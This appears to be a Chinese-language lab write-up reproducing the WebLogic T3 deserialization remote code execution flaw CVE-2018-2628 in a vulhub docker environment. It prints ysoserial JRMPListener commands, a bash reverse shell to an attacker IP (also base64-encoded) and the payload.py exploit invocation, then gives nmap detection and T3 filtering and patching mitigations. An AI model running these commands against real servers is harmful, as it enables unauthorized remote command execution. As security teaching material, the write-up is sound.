0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Weblogic命令执行漏洞(CVE-2018-2628)复现
1.简介
1.1漏洞描述:
T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。
T3协议:
T3 协议是WebLogic私有的协议,相比于JRMP协议多了如下的一些特性:
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
Java 反序列化漏洞利用工具通过T3 协议与Weblogic 进行的通信,实现Weblogic RMI 调用过程,从而实现远程加载恶意类。
1.2漏洞详细信息
漏洞 | 详细信息 |
---|---|
受影响版本 | Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3 |
漏洞名称 | Weblogic远程命令执行漏洞 |
漏洞编号 | CVE-2018-2628 |
危害等级 | 高危 |
CVSS评分 | 10 |
漏洞类型 | RCE |
2.漏洞复现
2.1 搭建环境
系统 | 脚本 | 工具 |
---|---|---|
kali(2023) | CVE-2018-2628,ysoserial-0.0.6-SNAPSHOT-all.jar | docker |
环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/
https://pan.baidu.com/s/1oqFdtcR_RNTjie0oxZ5gBA提取码:cxkh
启用docker
cd /home/kali/vulhub/weblogic/CVE-2018-2628
sudo docker-compose up -d
2.2 服务端开启监听
思路:本来应该由攻击机执行一切攻击命令,但是由于docker的ip只能与靶机(宿主机)通信,所以,后面其中一些攻击命令将会在靶机进行。在JRMPListener主机上运行命令(攻击机)首先需要启动一个JRMP Server,可以利用ysoserial
在攻击机上运行工具,命令格式为:java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener <监听端口> <jdk版本,1.7以上填写”Jdk7u21“> <要执行的命令>
我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:
bash -i >& /dev/tcp/10.9.46.170/7777 0>&1
然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:
https://ares-x.com/tools/runtime-exec
示范:
cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
2.3 nc监听
2.4 paylaod攻击
命令格式:python payload.py [靶机ip] [靶机端口] [ysoserial工具] [攻击机的ip] [攻击机监听的端口] [JRMPClient] python版本建议用2,用3会出现 'str' object has no attribute 'decode'
cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient
2.5 反弹成功
2.6 写入文件(另外一种利用方法)
cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "touch /tmp/ajest"
cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient
sudo docker ps -a sudo docker exec -it 340595f17ecd /bin/bash cd /tmp ls
3.总结
T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001
修复建议:
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式。控制T3服务方式:
具体流程:
a)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。 b)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。 c)保存后需重新启动,规则方可生效。
更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。
如以上两种策略都无法采用,则可以考虑用更改代码的方式。以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加”java.rmi.server.RemoteObjectInvocationHandler”,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包。
总结:
官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,下载最新补丁。 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)